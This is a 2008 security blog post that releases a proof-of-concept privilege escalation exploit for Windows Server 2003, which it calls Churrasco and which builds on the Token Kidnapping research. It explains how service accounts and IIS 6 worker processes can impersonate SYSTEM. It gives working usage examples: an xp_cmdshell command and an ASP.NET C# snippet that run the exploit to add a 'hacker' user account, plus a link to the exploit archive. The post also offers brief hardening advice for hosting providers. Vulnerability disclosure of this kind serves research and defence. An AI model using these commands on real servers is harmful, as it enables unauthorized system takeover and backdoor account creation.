(From http://nomoreroot.blogspot.com/2008/10/windows-2003-poc-exploit-for-token.html)
It has been a long time since Token Kidnapping presentation (http://www.argeniss.com/research/TokenKidnapping.pdf)
was published so I decided to release a PoC exploit for Win2k3 that alows to execute code under SYSTEM account.
Basically if you can run code under any service in Win2k3 then you can own Windows, this is because Windows
services accounts can impersonate.  Other process (not services) that can impersonate are IIS 6 worker processes
so if you can run code from an ASP .NET or classic ASP web application then you can own Windows too. If you provide
shared hosting services then I would recomend to not allow users to run this kind of code from ASP.
-SQL Server is a nice target for the exploit if you are a DBA and want to own Windows:
exec xp_cmdshell 'churrasco "net user /add hacker"'
-Exploiting IIS 6 with ASP .NET :
...
System.Diagnostics.Process myP = new System.Diagnostics.Process();
myP.StartInfo.RedirectStandardOutput = true;
myP.StartInfo.FileName=Server.MapPath("churrasco.exe");
myP.StartInfo.UseShellExecute = false;
myP.StartInfo.Arguments= " \"net user /add hacker\" ";
myP.Start();
string output = myP.StandardOutput.ReadToEnd();
Response.Write(output);
...
You can find the PoC exploit here http://www.argeniss.com/research/Churrasco.zip
